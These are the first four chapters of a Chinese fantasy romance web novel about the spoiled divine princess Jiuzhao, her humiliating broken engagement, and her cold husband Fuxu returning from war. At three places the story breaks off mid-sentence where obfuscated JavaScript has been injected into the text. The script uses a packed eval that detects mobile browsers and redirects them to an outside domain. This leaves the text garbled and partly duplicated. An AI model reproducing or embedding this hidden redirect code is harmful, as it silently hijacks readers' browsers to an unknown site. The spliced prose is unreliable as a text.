《万人嫌神姬她想开了》 1. 第1章 九昭又做梦了。 梦里是重复无数次的过去景象。 她梦见四千五百年前的初春,她一生迄今为止最重要的日子。 明明是大好的喜日,她却追着兰祁来到发落罪仙的长生台前。兰祁本命武器烈霄的雪亮剑锋横亘在他们之间,剑上映出她的烈烈嫁衣,以及兰祁那张风仪无双,却淡漠疏离的脸。 “九昭神姬,我厌恶你多年——” 他冷然看她,“若非念及帝座三万年养育之恩,我怎会答应同你成婚!” 呼斥声惊雷般在九昭耳畔炸响,亦与三清天常年和畅的微风夹杂在一起,传到立于云端观礼的漫天神佛耳中去。 九昭不敢去看他们的表情,只能在一片窒息里,仰面望向头顶的无尽苍穹。 天际彩云漫织,华光耀赫,是她三万岁的人生中见过的最美好场景。 是了。 今天是她的成人礼,也是她与自幼相识的兰祁神君合卺的上时良辰。 在吉时到来的三刻之前,她还在以密音同兰祁喜气洋洋私语:“兰祁哥哥,契阔诀成,你以后就是本殿的人啦,本殿会护你、敬你、爱你,从前有什么不开心的事,你我就都忘了吧!” 她是三清天神帝唯一的女儿。 哪怕地位高如上神四王,也只有叩拜尊迎她的道理。 她自恃高贵,从不肯放下身段对他人温言软语,能够唤出一声“兰祁哥哥”,已属不易。 可是—— 可是一切,怎么会变成这副模样? 剑气森寒,九昭回神,胸腔中的心脏鼓噪不息。 不解、茫然、困惑、怀疑……万般阴霾切碎她的喜悦,又骤变成女君自尊受到挑衅的愤怒。 翻腾如海的力量涌出灵台。 她步步迫近兰祁,难以置信地质问:“你若不愿同我成婚,我绝不会强迫于你——兰祁、兰祁,你何必在三清天众神面前这般羞辱我?!” 兰祁持剑的手掌很稳,寒声呵斥—— “你可知晓,何谓人必自侮而后人侮之? “可恨你贵为储君,却不思进取,将三清天这浩浩穹宇当做狎游之所,整日仗势欺人,纵我是你名义上的兄长,你也打骂由心,轻狂恣意,从不予我半分尊重,只将我看作是三清天最低等轻贱的奴役—— “本以为你年岁尚轻,总归会成熟识礼,可这三万年以来,你每每令我寒心失望,哪怕今朝是你成人之日,你的言行举止,也无半点思图悔悟之情。 “是可忍孰不可忍,我无论如何也难以说服自己同你合卺!” 是了。 这样的评价,不仅来自兰祁。 在三清天的隐秘处,在与自己不对盘的神女仙娥口中,九昭听到过无数次。 从前她不以为意,只当作他人在艳羡嫉恨她。 却未曾料到,与她相伴三万年,对她事事包容、处处让步的兰祁,也是这么想的。 从他利若刀刃的目光里,九昭无师自通地明白了,为何他要把这些折辱言辞留至此刻。 她最看重自身颜面。 兰祁偏偏让她成为了三清天彻头彻尾的笑话。 传闻由仙升神时要经历的雷劫,痛楚肖似剥皮凌迟,五脏俱焚。 此时此刻,她也得以体会一二。 兰祁又道:“九昭神姬,你可还有话要反驳? “若无,你我今日情断!我自知有愧帝座养育恩情,甘愿削去神位,剔除灵骨—— “永世不再成仙!!” 他手腕翻转,剑身自横为竖,劈出磅礴神力。 剑气扫过,祈愿夫妻恩爱的并蒂芙蓉钗从九昭的鬓边滑落,消失在云端,她精心挽起的飞天发髻也因此散乱。 而眼前那抹修长的身影快步后退,逐渐被长生台下方狂涌而上的罡风裹挟。 用以震慑的烈霄长剑自指尖消失,兰祁仰面直上,展开双臂,唇畔带着终于解脱的弧度。 在他跌下长生台的那一刻,九昭再也无法维持神姬应有的风仪气度。 她丢掉华美无匹的臂挽披帛,疾步扑至长生台边,与身形急速远去的兰祁对望。 “为什么、为什么……难道你我之间,从头到尾都没有一丝情意吗!” 无人回答。 视野的尽头,兰祁竟闭上双目,仿佛厌弃到不愿再多看她一眼! 九昭的胸腔倏忽翻涌起一阵气息。 腥甜的液体冲破齿关,一抹心头血喷洒而出,同样挥散在罡风之中。 好疼。 痛楚深入骨髓,九昭无力伏倒下去。 愤怒仿佛随着仙力的溃散一同消失了。 只剩下如同亿万针尖密密扎下,让她几乎喘不过气的情绪。 梦境消散间,她却看见快被罡风吞没的兰祁伸手接住血液。 勾起唇角,微微笑了。 …… “殿下,殿下!” “午时将至,您快醒醒!” 隔着锦帷,女婢焦急的呼唤一叠声传来。 九昭睁开眼睛,抬指抹过眼尾,恍觉一抹湿热泪痕。 四千五百年过去,她以为自己什么都忘了,不成想又在梦中为兰祁哭泣。 不想被人发现这副软弱情态,一阵隐秘仙光过后,她指腹眼梢的湿润不复踪影。 她撩开层层掩落的锦帷,带着初醒的不耐望向女婢,睥睨神态一如往常:“这般吵吵闹闹的做什么?叫外人听见,还以为我常曦殿半点规矩也无。” 常曦殿是九昭的住处,自然不会有她口中的外人。 如此一说也不过是找个由头训斥,好掩盖方才的失态。 两位女婢跪地,一面告罪一面拜伏。 其中一个低声说:“殿下,扶胥上神已经候在常曦殿外……朱映姐姐见您迟迟未醒,便开启殿门,先行过去侍奉了。” 九昭一顿:“谁?” 女婢犹豫少顷,重复:“您的王夫,扶胥上神。” 九昭已经有五百年未曾听见这个名字,眼下还有些不真切。 沉默一息后,她猛地攥紧身畔散落的锦被:“他怎么回来了?他竟还敢再踏进这常曦殿!” “殿、殿下息怒,现在还不是找上神麻烦的时候——” 从说出“王夫”二字起,女婢们就做好了九昭会发怒的准备,战战兢兢地劝说,“扶胥上神镇守神魔边界五百年,如今得胜归来,帝座在璇玑宫设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918045|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴庆贺,料想上神是特来邀您一起赴宴。” 攥着锦被的手指一僵,九昭不自在地问:“璇玑宫设宴,本殿怎么不知道?” 女婢认命阖了阖眼:“一个月前帝座就遣人前来告知过,昨日就寝时朱映姐姐也提醒过您。” “……” 九昭尴尬。 九昭沉默。 九昭理不直气也壮。 她命人将床上的帷帐撩起,端坐在床中央扬声道:“那就让他进来。” …… 厚重殿门无声开启,一道玄黑身影逆着光走近。 百年未见,扶胥的容颜依旧。 眉峰冷,眼睛也冷,整个人仿佛用冰霜雕刻而成。 他在一丈开外停下,奉手长揖到底:“臣扶胥见过神姬殿下。” 说是夫妻,他们之间的关系甚至不如九昭和两个女婢亲近。 见着他,一些难堪和欢喜交织的记忆莫名浮现在脑海中,九昭本微微敞开的双腿瞬间用力并在一起,她也不叫扶胥免礼,只维持着下颌半抬的姿势,冷淡审视对方。 扶胥又继续说道:“臣来时得神绣局托付,为殿下献上赴宴要穿的礼服。” 他信手一指,神力涌动,刻有九曜金乌的桁架乍现在九昭身侧。 数道光华交织,一件赤红色的华美长袍自上如瀑布般倾泻而落。 九昭身怀母亲的凤凰真血,天生喜爱一切亮烈夺目的事物。 她的长相明媚艳丽,出挑的颜色穿在她身上,更能彰显风华。 这件由神绣局制作了一个月才大成的礼服,放在往常足以哄得她绽放笑靥——然而此刻,她的一捧芙蓉面上却没有露出多少惊喜之色。 皱拢的眉峰沉沉压着阴火闪烁的瞳孔,她潦草扫过礼服,重新将注意力放在扶胥身上。 “除了礼服,你就没有其他话要对本殿说?” 她不冷不热问询着。 扶胥已重新挺直身体。 两人的姿势也从九昭平视于他,变成他占据高处,俯落静寂无波的眸光。 不像看待举案齐眉的妻子,更不似观仰一心侍奉的君主。 他用对待生人的态度,缓缓启唇:“无。” 早就预料到是这样的结果,她还愚蠢到问出这个自取其辱的问题,妄想求得一个答案。 五百年前,他们成婚不到一月,他便毫无征兆地请命奔赴神魔交界。 眼下归来见她,自然更不需要搪塞一个借口。 兰祁悔婚辱她,扶胥迎娶了她,却也不知珍惜。 既然如此,她又何必给他们这个脸面,强行在外人面前扮出夫妻恩爱的假象? 九昭怒极反笑:“很好,好一个无话可说。” 扶胥大败魔界,是有功之臣。她为君,不可无端降下惩罚。 可惩罚不了人,难道还惩罚不了别的? 她偏转目光,将主意打到扶胥送来的赤红礼服上。 以为亲自送件礼服过来,她就能不计前嫌? 她今天就要让扶胥知晓,这世界上没有如此便宜的事! 这般想着,九昭冷冷勾起唇角,指尖半捻凝结一丝仙力,趁扶胥不备朝桁架疾射而去。 2. 第2章 仙力携烈焰之势,朝挂在桁架上的华服猛扑过去。 九昭无声弯起唇角,坐等看衣服被毁之后,扶胥面上流露的难堪神情。 然而—— 下一秒,幻想中的表情却出现在她的脸上。 轻飘的礼服上倏忽亮起一道青蓝神光,那神光形成的防御屏障径直将她的仙术弹射开,阴差阳错之下,还击中了窗旁漆木柜上她最喜爱的错彩花瓶。 哗啦一声,花瓶四分五裂。 九昭愣在原地,瞪大一双美眸—— 她不理解为何一件神绣局出品的小小衣袍上,会蕴有她父亲三清天神帝的力量。 相比九昭的错愕,早就预料到她招数的扶胥平静开口:“帝座命令神绣局将礼服托付给臣,帝座口谕,他叮嘱之事不必提前告知殿下,待殿下由着性子闹上一遭,瞧见礼服上的神术禁制,自会明白他的用意。” 九昭:“……” 什么帝座口谕不必将此事提前告知,他分明就是打算看自己的笑话。 黑心肝的烂木头! 自做梦到苏醒,九昭事事不顺,自是心火难消。 她不肯跟扶胥说话,只盯住花瓶碎片不放,余光却冷不丁被礼服下摆若隐若现的绣纹吸引。 那是一大片以银线密绣的扶胥花。 扶胥的真身是天地间独一无二的神木。 而扶胥花则是其上万年才开一朵的赐福之花,传闻谁能得到扶胥馈赠此花,心中的一个愿望就可以成真。神帝命神绣局以扶胥花点缀九昭的赴宴礼服,其中用意不言而喻。 神帝了解她的记仇性子,也清楚五百年前扶胥不告而别的往事,今朝扶胥得胜归来,夫妻既不合离,此后就要继续相处下去。有扶胥率先赠衣低头,神帝期冀可以消融他们之间的前嫌。 父神为父亦为君。 如此良苦用心,九昭不能不从。 更何况开宴的时辰在即。 她一咬牙,恶声恶气地唤进守在殿外的贴身女婢:“来侍奉本宫穿衣!” “是。”女婢们松了口气,进殿后,一人取下礼服,一人搀扶九昭站起。 扶胥前来的任务完成,他秉承非礼勿视的训言垂头,再次长揖:“那臣先出去等候。” “慢着。”九昭站在一人高的灵镜前,目不斜视,“本宫有说过让你出去吗?” 扶胥道:“殿下更衣,臣在此处实属不妥,有冒犯女君之疑。” 对方义正词严的道理入耳,一计不成的九昭又生一计。 她用涂着蔻丹的指甲拨弄了一下腰间的碧玉绦带,懒散道:“你既以女君相称,就应该明白夫妻之上更有君臣,本宫为君,你为臣,本宫叫你做什么,你听从就是了,岂有反驳之理?” 他可以拿神帝来压她,她自然也可以搬出相同的理由。 果然,迟疑过后,扶胥应道:“是。” 九昭犹嫌不足,她流转眼波,给身边的女婢们使了个眼色,而后合袖拢于身前,微微抬起下巴,发号施令:“傻站在那里做什么?扶胥你过来,替本宫整理礼服下摆。” “……” 女婢们面面相觑,一时不敢说话。 方才殿门半开,她们不是没有听见九昭欲毁礼服无果的过程。 却不料骄蛮的主子又想出了别的法子来折辱自己的王夫。 她们大气不敢出,生怕扶胥拒绝,九昭发怒,今日的宴会难成,两人在常曦殿打起架来。 只是不知为何,在九昭即将出声催促之际,那静立原地的冷峻上神,忽然迈开了脚步。 他来到九昭面前,平素半垂以示敬顺的眼睛抬起,与暗自得意的九昭对视一瞬,紧接着单膝跪地,将她堆在一处的逶迤下摆,一寸一寸,缓缓抚平。 九昭自上而下俯视扶胥,忽然觉得这身与她当日所穿婚衣相同色调的礼服,不再那么碍眼。 自神帝颁布合婚告令,他们曾以未婚夫妻相处一千年。 她法力不如扶胥,威望人心也不如扶胥。 但只要使出君君臣臣的手段,扶胥十有八九总会屈服。 不想放到五百年未见的现今,这套依旧如此好用。 九昭愈发窃喜,趁着对方正专心致志做事,她变本加厉,踩在长毯上的赤/裸左脚竟悄然抬起,直直踩进扶胥半曲掌心。 肌肤相触的刹那,享受着羞辱对方乐趣的九昭却不适地止住呼吸。 她感觉到原本放松的手掌肌肉变得僵硬,而常年行军练兵的生涯,更是在那只修长清瘦的大手上留下层薄茧——扶胥不似三清天其他神仙爱美,从不曾刻意用术法消除身上印记。 茧子磨着她敏感的脚底,粗糙之外,平添几分难耐的痒意。 堂堂上神的手,还比不上她脚下踩着的长毯舒适! 九昭咬了咬嘴唇,在羞辱到底还是见好就收两个选择间犹豫。 那只无措僵直的大手却突地收紧五指,将她趾间涂着同色蔻丹,小巧白皙的左脚用力攥在掌心。 偷鸡不成蚀把米。 几分痛楚,几分压迫齐齐传来,九昭哀叫一声,想也不想弯下腰去推搡起扶胥的肩膀。 “放肆! “扶胥,你那么用力做什么!” 不过情急之下的举动,她没来得及使用法术,那道可怜的力道比蜉蝣撼树还不如。 而作为被又推又骂的另一方,扶胥英俊的眉眼不见任何压抑怒色,他稳稳握紧九昭被迫抬高的脚掌,恭敬而低沉的语调一如既往:“殿下要臣侍奉穿鞋,臣遵命。” …… 羞辱,有的时候是一种行为。 但更多时候,却是一种心态。 见自己以君命压制对方侍候自己穿鞋袜,扶胥也没有显露任何气急败坏的神色,在他这里吃瘪吃怕了的九昭只能悻悻收手。 接下来的半个时辰,她停止作妖,只是在穿上鞋后过河拆桥,把扶胥赶出了寝殿。 华服加身,飞霞妆成。 九昭再度与扶胥并肩,已是在璇玑宫神帝的座下。 三清天以左为尊,她占据左首,而这场庆功宴的主角,则端坐右侧。 扶胥身上依旧是来见她时的一席黑衣。 剑眉如鬓,目似寒星,姿态岿然地敬受着群仙的称贺。 九昭一直都认为他是个奇怪的人,身为三清天的将军统领,居神帝赐封的五位上神之首,明明走到哪里,哪里就会立刻成为一片利欲交织的浮华场,他却过得比任何人都要自律清苦。 在彼此没有相看两相厌之前,九昭曾造访过他在二清天的居所辟蒙宫。 那里的环境之空旷,摆设之简陋,甚至还不如一清天中稍有头脸的下阶神仙府邸。 罢了。 不论再如何看淡身外俗物,他到底不比她身处这场宴会,更像个格格不入的局外人。 宴上,众神赞美神帝知人善任,天纵英明。提及三清天海晏河清,盛世太平时,也不忘称赞扶胥年少成名,天生神力,在三清天对抗焚业海的大小战役中军功卓著,不愧为神帝钦定的上神第一人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918046|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们用翻来覆去的溢美之词称颂着坐于高台上的二人。 却在不慎提到九昭时,打着哈哈,夸奖她身份高贵,有身为天帝的父亲和位至战神的夫君。 冗长的废话简而言之概括—— 神帝、扶胥高瞻远瞩、力拔超群、刚正不阿、光明磊落……样样都好。 而她九昭也好。 好就好在投对了胎,嫁对了人。 九昭用尾指掏了掏耳朵,将他们的酸言酸语都当个屁放了,只一心装出自己领悟了神帝的良苦用心,有在努力缓和夫妻关系——或眼神威逼,或言辞利诱,她和扶胥言笑晏晏,共饮数杯。 扶胥配合归配合,但无人察觉之处,同她对视的眼神又仿佛在看扶不上墙的烂泥。 好容易捱到宴会结束,九昭硬是喝红了一张雪白面孔。 受邀的宾客们陆陆续续散去,唯独扶胥被神帝留下议事。 九昭本想先行离开,神帝却命她等候扶胥一起返回二清天。 坐在席位上吃了几口早已凉透的菜肴,她生等着殿内的神仙全部离去,实在百无聊赖,便唤来陪同的女婢,一同离开内殿,打算前往璇玑宫的小花园吹风赏景,散散酒气。 行至错落掩映的花木前时,更深处传来几道叽叽喳喳的女声—— “真不可思议,五百年前一成婚就逃去神魔边界的扶胥上神,如今再归来,竟也能跟九昭神姬有说有笑地一同赴宴了……要是不知晓前情,只怕还以为他们是一对恩爱夫妻?” “有说有笑是你自己臆想出来的吧?宴上神姬敬酒,上神连一个多余的眼神也没给——” “不过说实在的,我好生佩服神姬殿下,被兰祁神君当众悔婚羞辱不说,和扶胥上神夫妻不睦的消息也闹得三清天人尽皆知,她竟还能装作若无其事。要是我,早就羞得再不见人了!” “诶,你怎么还叫兰祁神君,快快改了称呼,叫人听见可不得了!” “知道啦知道啦,哎……谁能想到他为了不娶神姬,宁愿堕入焚业海成为新的魔尊……” 年轻的女声们如同啭啼春光的黄莺,话里有话地议论着九昭和兰祁、扶胥的关系。 一通揶揄完,她们才想起这个团体的核心沉默已久,未曾开口。 于是又讨好地扬起笑脸,一迭声唤着那人的名字:“滢罗滢罗,你怎么不说话呀?” “要知道我们说这许多,俱是因为当年西神王分明有意促成你同扶胥上神的天作之合,却一朝不慎被九昭神姬率先抢了去,替你抱不平呢!” 乍闻滢罗的名字,陪在九昭身边的女婢对视一眼,下意识咽了口唾沫。 倘若是其他不知名的女仙还好。 九昭顶多把她们叫出来施加些不大不小的惩罚,或是骂到哭鼻子。 可偏偏这群人里有滢罗——作为三清天四神王之一,西海鲛人族流戈王的爱女,享有宗姬封号,在一众出身显赫的贵女之间,仅比九昭低了一阶的滢罗。 她们曾经在三清天的长烨学宫里同吃、同住、同行,后来数万年里又成为了最大的对头。 那些聒噪的女仙们无足轻重,九昭最在意的是滢罗会如何作答。 滢罗不开口,她也不肯离开。 几转呼吸后,她终于听见一道妙曼嗓音:“这里是帝座的璇玑宫,你们这般胡乱议论九昭殿下成何体统?另则,不论前尘往事如何,如今已是九昭殿下和扶胥上神结成了夫妇——夫妇本为一体,哪怕心底再勉强,众仙面前,总要给彼此留有几分余地。” 3. 第3章 滢罗的话,九昭没有思考太多。 在她看来,这些都是对方惯用的招数。 发表几句似是而非的感叹,也不点明一场夫妻究竟是谁心底不情愿。 说一千道一万都是为了贬低自己,偏又要扮演善良得体、宽和大度。 五百年未见,滢罗还是这副讨厌的样子。 她受骗过一次,就不会被骗第二次。 如此良机在前,九昭打定主意想要出气。 她眉峰一轩,卷起袖子大步一迈,做出准备发难的姿态,又被女婢急急揽了下来。 “殿下,里面那群西海仙子最喜搬弄是非,倘若宴会前脚结束,后脚您便与她们争执起来,恐怕明日整个三清天又会遍布您仗势欺人的流言……” “人言可畏啊殿下——” 女婢用了密音入耳之术,话说得又快又急,唯恐九昭不耐烦听完就要去干架。 但事实证明,听不听完,九昭都不会将她的劝告放在心上。 她一把扯开女婢拽住衣袖的手,旋即重重咳嗽出声。 花丛深处弹指间万籁俱寂。 九昭也不催促,傲慢地挺起肩膀,半挽披帛,等候她们来与自己见礼。 半息后,不知是谁率先反应,阒然的林木中传来衣料窸窣的动静。 一道藕荷色身影缓缓步出,带领二三女仙朝九昭长揖到底:“滢罗见过神姬殿下。” 伙同小团体背后说人坏话被抓,滢罗清丽的面孔不见惶恐之色。 九昭心底暗骂一句厚脸皮,乜着双眼凉凉道:“倒是许久不见。” 滢罗春水般的眼波微荡,柔声回答:“殿下说的是,不过滢罗闻听殿下言语之间神采奕奕,料想在未见的这段日子里,殿下应当诸事皆安,称心如意。” 诸事皆安。 称心如意。 旁人或许不明白她为何深居简出,滢罗这等常来三清天做客的近臣之女又岂会不知。 强压蛰伏的怒气,在对方明扬暗抑的问候声中节节攀升。 九昭眯起眼梢,缓慢磨了磨牙尖,浑身散发出危险的气息:“本殿是否如意不劳滢罗宗姬挂心,只是璇玑宫宴已毕,尔等不告辞离开,在小花园里逗留徘徊是为何意?” 滢罗:“宴上浣魄仙子不慎脏了衣裙,想寻个僻静之所弄干净再走,故而臣等在此陪同。” “噢。” 九昭环视眼前女仙一圈,问道,“哪个是浣魄?” 被点到名字的女仙声音慌慌张张响起:“回殿下,浣魄正是小仙的名讳。” 九昭对她很有印象。 方才花丛里的一场背后排揎,正是这个浣魄说得最起劲。 两道眸光集中在女仙身上,她看对方从人群末尾强装镇定上前,表情是欲盖弥彰的心虚。 浣魄年纪尚小,听过九昭无数恶名,却未真正有缘相见。 她不敢抬头打量九昭的容貌,只凭借刻板印象,脑中闪过无数自己受罚的画面。 忐忑之下,她作势举起的双手一抖,竟然行错了礼。 ……蠢东西。 如此错上加错,就算想不受罚也很难说得过去。 九昭装模作样叹了口气:“想是长久未现身于人前,倒叫众仙忘了还有本殿这位神姬,连最基本的问安礼仪都能出错,究竟是浣魄仙子不把本殿放在眼里,还是整个西海的规矩如此?” 话至最后,九昭的语调隐见凌厉。 这顶高帽子扣下来,滢罗立刻侧头看向发抖的浣魄:“还不与殿下重新见礼!” 九昭岂会这般轻易将错处放下。 “且慢。” 她喝止浣魄的动作,垂下眼帘欣赏着指甲上的蔻丹:“既已出错,本殿就有责任指点一下你们西海的礼仪规矩,否则将来在我父神那里闹了笑话,只会叫人误以为是西海有不臣之心。” 滢罗微微蹙眉:“殿下以为如何……” 九昭一个眼风扫过,不论内里如何,在外人面前从来与她同心的女婢立刻松开搀扶她的手。 她做出示范的架势。 正襟下跪,双手交叠于地,面色严肃地叩首相触:“西海众仙,见过帝姬殿下。” 九昭拍手笑道:“正是如此——你们西海的礼仪,竟然比不上本殿身边的侍女。” 三清天规矩严明,下臣觐见君上,最正式的礼仪便为叩首大礼。 只不过神帝性格宽仁,除却祭告天地的大节庆,其他时候都会赐予简略礼仪的恩赏。是而有头脸些的神仙平日只需长揖即可——在节庆之外行此礼,不是身份实在低微,就是犯了错处。 浣魄乃西海上阶金仙之女,心高气傲,自觉被九昭这般要求是受了屈辱。 她猛地抬起头来,晶莹的泪光在眼眶中打转。 九昭心肠坚硬,并不吃她这套,转过脸悠悠观望花园风景,另旁的女婢代她开口讥讽:“浣魄仙子不愧出身西海,浑身上下竟都是水做的,动不动就掉眼泪珠子。” 浣魄瞪圆眼睛:“你!” 滢罗旁观片刻,见事态愈演愈烈,连忙率众下跪请罪:“殿下,臣——” 这厢正在僵持,那头另几道人影逐渐走近。 议完交战之事,扶胥随行神帝身后,见九昭面前跪了一地女仙。 领头者,正是那曾经她父亲隐晦透露过结亲意向的滢罗。 “昭儿,你这是在做什么?” 见到一向疼爱自己的父亲,九昭勾起笑容扬声问安:“昭儿拜见父神!” 她小跑过来凑在神帝手畔,将扶胥整个挤开,裙摆上的扶胥花漫漫扫过他的脚背,“回父神的话,西海的浣魄仙子问安于儿臣,却不慎行错了礼,所以儿臣在此,提点了她们几句。” 扶胥站定,闻言眉心跳了一跳。 犯错的浣魄未跪,其他人却为了平息九昭的怒火通通下跪。 这若是传出去,着实—— 然而神帝在前,没有他开口的余地。 这时,那倔强不跪的浣魄,突兀扑通一声跪地伏倒:“所有错处,皆系浣魄一人所为,还请殿下不要为难西海的其他仙子们,浣魄任打任罚,无怨无悔!” 说完,她不顾在场其他人的神色变化,开始砰砰磕头。 事情的对错原本尚未下定义,只等神帝裁决。 浣魄如此行径,却隐隐将风向变了一层意味。 “你乔张做致的干什么!本殿不过——” 九昭看不惯她的矫情做派,扬声就要辩解,又被神帝打断:“好了,昭儿。” 唤出九昭乳名,神帝没有继续说下来,他看着浣魄足足磕头五十下,才若无其事道:“既百年未见,西海众仙对你行次大礼也是应该的,礼数已全,你们就早些离开吧,别叫神王久等。” 神帝这般言辞,无非要将矛盾大事化小小事化了。 浣魄磕得额头红肿,却只得到最差劲的结果,自然不甘。 她在家里口无遮拦惯了,含着热泪又想控诉九昭的罪名。 然而未等张口,一道灵光闪过,她上下两片嘴唇就被禁言术紧紧黏合在一起。 释放仙术的滢罗用力握紧试图挣扎的浣魄手腕,对于神帝的偏袒和搪塞毫无不满。她偏过头,以眼神致礼扶胥,又朝九昭露出一抹浅淡柔和的笑意,接着恭敬道:“那臣等告退。” …… 乘坐华美的天辇返回二清天的途中,九昭心情好了许多。 情路不顺又怎样。 就算再来一百个男人,也不会有父神待她更好。 神帝一开口,硬是将浣魄口中九昭施加的惩罚性质扭转,变成西海仙族应对储君大礼问安。那原本只是惺惺作态的磕头,不得到上位者赦免,也只能落到实处,直把她的额头磕出一片红。 九昭回想着浣魄的窘样,忍不住轻笑出声。 她一手撑住下颌,一手掀开天辇的帘缦,哼着歌打量满天绮丽云霞。 一片静谧祥和里,身旁的人冷不丁开口:“殿下,你不该如此。” “神帝向来宽和待下,却为了你的事多行偏心袒护之举,长此以往,众仙必定心生不满。” 到二清天的路程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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扳回一局后,她收起没有正形的态度,睨着他道:“你既知是西海仙族犯错,又何必说什么父神偏心于我?有错当罚,有功当赏,从来人之常情,父神何过之有,本殿何过之有? “人生立世,须知道理并非只需自己认同,更需多数人认同,行为处事,要叫人心服口服——臣观那浣魄离开时有忿忿之意,此次回归,想西海之内,又会兴起殿下跋扈传闻。 “跋扈就跋扈,本殿自问光明磊落,不似那等小人爱背后嚼舌。 “再者,不满又如何,难道他们还敢造反不成?” 九昭最讨厌的就是大道理,连串反问直让扶胥落入无言之地。 她等候着扶胥的回击,但天辇外常曦殿的殿宇将近,扶胥都没有再开口吐出只言片语。 熟悉的、话不投机的神态笼罩在他挺括眉宇间,直至九昭耐性告罄,起身走下天辇,他才垂首仿佛自语:“你这般生性,睚眦必报,将来要如何统领三清天,做开明之君?” “父神与天同寿,再过十万年考虑此事也来得及。” 九昭回答得很快,并无任何深思熟虑的成分。 早在几千年前,她就与神帝商量过,自己无心帝位,将来不如由王夫统御三清天。 神帝没有答应,也没有拒绝。 只道她年岁还小,且多走几步看看再做打算。 这个问题,是她和神帝间约定不诉予第三人知晓的秘密,没有和扶胥言明的必要。 而她这副不学无术且拒绝进步的模样,又一次叫扶胥额头青筋直迸。 言语间,两人一同下了天辇,九昭知晓他的习惯,又明知故问:“话不投机半句多,料想扶胥上神应该也不愿继续同本殿待在一处吧?需不需要本殿派天辇送一送您?” “不用。” 扶胥看也不看她,转过身去丢下两个无比冷漠的字眼,就要驱动神术离开。 然而神术释放的刹那,未等身躯散为粼粼碎晶消散—— 他突地整个人倒了下去。 4. 第4章 扶胥倒在常曦殿前,把九昭之外的所有人吓得魂飞魄散。 女婢仙侍们惊呼的惊呼,搀扶的搀扶,整个场面登时化作闹哄哄的菜市场。 就连自殿庭内走出,过来迎接她的朱映也皱起眉毛,低声询问这是怎么了。 九昭满脸无辜。 只差在额头张贴六个大字——“本殿怎么知道”。 五百年前自己说过的难听话更多,也不见这张死人脸有什么特别的反应。 怎么如今前往神魔交界走了一遭,承受能力变低了。 竟然能被她气得晕过去? 她和朱映尚在大眼瞪小眼,那头女婢无措地喊起来:“哎呀,上神的身上正在泛黑气!” 黑气? 九昭这才意识到事情的严重性,三步并作两步,来到昏倒的扶胥身前。 只见一层薄薄的黑雾游弋这具精干身躯之上,如同剧毒的蛇类,散发着初感炽热,入骨阴寒的不祥气息。九昭凝神查看,又发觉那黑雾内里,还存在着一缕似有若无的赤红颜色。 黑为魔气。 赤红为属性火灵。 三界之中,唯有三清天的神仙力量受金木水火土五种属性影响。 凡间修士的法光为白,魔界妖魔的法光为黑。 一切井然分明。 放眼魔界,使出红黑之气的,唯有在几万年前叛变三清天的凤凰一族。 扶胥是战无不胜的上神,能够伤到他的绝非等闲凤族。 想到此处,九昭连忙输入仙力,在他的体内游走一遭。 所幸受他们缔结的契阔诀影响,身处昏迷状态的扶胥没有抗拒她的力量入体。 游走一周天之后,九昭的表情严肃起来。 缘由只在于,她居然在扶胥的身体里,感受到了凤凰真血灼烧的气息。 凤凰真血,是只流淌在凤凰族首领身上的血脉,自上古以来就被一分为二。每任命定的首领皆为一母同胞的双生子,而唯有他们结合,才能继续诞生凤凰族的下任首领。 九昭的母亲,神后太婀便是凤凰族前任女君,可惜她生性倔强,挣脱凤凰族天命的束缚,义无反顾爱上当时身为三清天储君的神帝嗣辰,将与她从小相伴,满腔爱意的胞弟巫劭抛弃。 抛弃是小,凤凰族首领无后为大。 除非身怀凤凰真血之人身死,血脉才会重新随机出现在凤凰族新生的子民之中。 因爱成恨的巫劭煽动凤凰族叛天,成为新任魔尊,后起兵失败被擒,三清天为了不让真血神力被坠入魔界的凤凰族重新拥有,因此将巫劭湮灭神识,以活死人的状态永镇于无日渊。 真血的同源力量过于熟悉,哪怕九昭慎而再慎,重新探查多少回,都不会将其认错。 她心想,不提巫劭,这世间唯一的凤凰真血,随着母神育子来到了自己的身上。 可扶胥体内的又是怎么回事? 迷惘之下,九昭命人将扶胥扶到侧殿,自己则打算前往三清天寻求父神解惑。 兹事体大,她也无心使用天辇这等声势浩大但行速不快的座驾,只用仙力凭空生出一道转送法阵,身形就要消失原地。 “九昭殿下——” 二清天的渺渺云端之外,又传来一道呼唤的女声。 九昭脚步一滞,闻声抬头望去。 来者步履匆匆,再一眨眼已出现在她身前问安行礼:“臣下见过神姬。” “丹曛姑姑,您怎么来了?” 聚散的仙灵消散于天地间,神帝近身仙官丹曛的到来,阻止了九昭动身前往的念头。 或许,不耗费时间,这件事直接问父神最信赖的丹曛也一样。 心思转动间,九昭抬手和丹曛做了异口同声的命令:“你们都下去。” “你们都下去——” “姑姑,父神也有事要说于我听?” 一个“也”字叫丹曛抬起头来打量九昭一眼,不过她紧急奉命而来,无心问询九昭有何事要找神帝,只问:“殿下,扶胥上神是否已经回到辟蒙宫?” 